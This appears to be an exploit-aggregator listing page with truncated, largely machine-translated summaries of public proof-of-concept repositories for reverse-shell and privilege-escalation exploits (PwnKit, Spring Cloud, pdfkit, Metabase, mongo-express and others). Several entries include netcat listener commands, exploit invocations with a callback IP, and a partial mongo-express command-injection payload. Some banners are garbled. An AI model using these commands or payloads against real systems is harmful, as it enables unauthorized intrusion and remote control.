hack

💀 PwnKit CVE-2021-4034 与反向 Shell 工具包 ⚠️ 免责声明： 本仓库仅用于教育和安全研究目的。作者不对这些工具的滥用负责。请仅在受控环境或获得明确授权的系统中使用。 📜 描述 本仓库包含针对 PwnKit （CVE-2021-4034）漏洞编译的概念验证（PoC），这是 Polkit 组件 pkexec 中一个严重的本地权限提升漏洞。 此外，还附带一个 PHP 反向 Shell 脚本，可在漏洞利用后部署，或作为初始访问向量。 🎯 目标 在易受攻击的 Linux 系统上获取 root 权限，并通过反向 Shell 建立持久化或远程控制。 📂 工具包内容 1...

CVE-2016-16113-POC

Get RCE - Bludit CMS 漏洞利用工具 root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| 一个自动化利用工具，结合了 CVE-2019-17240 （认证绕过）和 CVE-2019-16113 （任意文件上传），可在易受攻击的 Bludit CMS 安装上实现远程代码执行。 ⚠️ 法律免责声明 仅限授权的安全测试...

RCE-Exploit-Framework

RCE-Exploit-Framework 该框架旨在帮助渗透测试人员或开发人员理解远程代码执行（RCE）利用的机制。 功能 Payload 生成器 ：支持基于 Python、Bash 和 PHP 创建自定义 Payload。 漏洞利用执行器 ：通过 HTTP POST 或 GET 将 Payload 发送到目标。 反弹 Shell 监听器 ：用于接收反弹 Shell 连接的模块。 日志输出 ：保存漏洞利用活动的日志，以便进一步分析。 使用方法 1. 从 Python 官方网站下载并安装 Python：https://www.python.org。 2. 安装 pip 模块 pip...

ace-vim-neovim

ace-vim-neovim Vim/Neovim Arbitrary Code Execution via Modelines CVE-2019-12735 Usage 1. listen root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt And then, your localhost will get shell...

CVE-2026-65400

CVE-2026-65400 捐赠 通过 PayPal 或扫描下方的二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离实验室环境 经授权的渗透测试环境 示例配置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activa...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

CVE-2019-18634

CVE-2019-18634 在Ubuntu 20.04、sudo版本1.8.25上可用的Python利用脚本 将"./shell.sh"替换为你的反弹shell 分析文章见 https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf VariaType 可变字体生成器漏洞利用工具 此仓库包含针对 Hack The Box 上 VariaType 机器的专用漏洞利用工具。该漏洞利用利用了 fontTools 库或 Web 应用程序处理 .designspace XML 文件和元数据插值时的漏洞，以实现远程代码执行 RCE 。 📝 描述 该漏洞存在于字体生成过程中。通过构造恶意的 designspace 文件，我们可以将 PHP 反向 shell 载荷注入到字体的元数据中（特别是 字段）。当服务器处理这些文件以生成可变字体时，它会将输出写入用户定义的路径，从而允许我们将 .p...

CVE-2020-0796

使用方法 确保已安装 Python 和 ncat 。 在目标计算机上运行 calctargetoffsets.bat，然后根据脚本输出调整 SMBleedingGhost.py 文件顶部的偏移量（另请参阅下面的说明）。 使用以下命令行参数运行 ncat ： ncat -lvp 其中 是 ncat 将要监听的端口号。 使用以下命令行参数运行 SMBleedingGhost.py： SMBleedingGhost.py 其中 是目标易受攻击计算机的 IP 地址。 和 是 ncat 正在监听的 IP 地址和端口号。 如果一切顺利，ncat 将显示一个 shell，提供对目标计算机的系统访问权限...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" 是一个 Python 脚本，用于从 msfvenom 获取 shellcode，然后将输出复制到 exp.pdf 以替换 'calc' shellcode 块，最后即可生效。哎呀，这是一个 tcp 反向 shellcode。 示例代码如下：python getshellcodefrommsf.py 192.168.1.79 1234...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 针对 pdfkit 0.8.6 中 CVE-2022-25765 命令注入漏洞的利用工具 关于该漏洞的更多详细信息，请参见此处 PoC 在您的主机上运行 netcat： root@kitploit: $ nc -lvnp 1337 运行利用工具（示例）： root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost Input addre...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： root@kitploit: $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RC...

CVE-2023-38646

CVE-2023-38646-exploit "该漏洞被编号为 CVE-2023–38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。" 一个针对 cve-2023-38646 的快速反向 Shell 漏洞利用脚本。 这个漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / |...

CVE-2019-7609

CVE-2019-7609 低于 5.6.15 和 6.6.1 的 Kibana 版本在 Timelion 可视化工具中包含一个任意代码执行漏洞。能够访问 Timelion 应用的攻击者可以发送一个尝试执行 JavaScript 代码的请求。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。 作者：@securityMB 注意 ：我在 Kibana 6.6.0 上测试过该攻击，但没有成功……在我这边，只有低于 6.6.0 的 Kibana 版本存在漏洞，正如 @securityMB 所解释的那样。 编辑于 2019/12/20 ：如果 Canvas 面板不可用，请查看...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter 是一个 Bash 脚本，用于扫描 RaspAP 安装并测试特定漏洞 CVE-2022-39986。 root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / / // // // / / // / / // / // // ,/// // / ///...

cve-2018-1207

cve-2018-1207 Exploit iDRAC 7 & 8 firmware 2.52.52.52 Description Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability which could be used to execute remote code. A remote unauthenticated attacker may potentially be able to use CGI variables to execute remote...

CVE-2013-2028-Exploit

CVE-2013-2028 漏洞利用 漏洞详情 受影响软件：Nginx 1.3.9 -lp 4. 让漏洞利用程序找出金丝雀的实际值，并启动反向 shell。...

CVE-2019-10758

CVE-2019-10758 mongo-express ejecución remota de código, el código del shell inverso es el siguiente: CUERPO DE LA SOLICITUD 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CUERPO DE LA SOLICITUD 2:...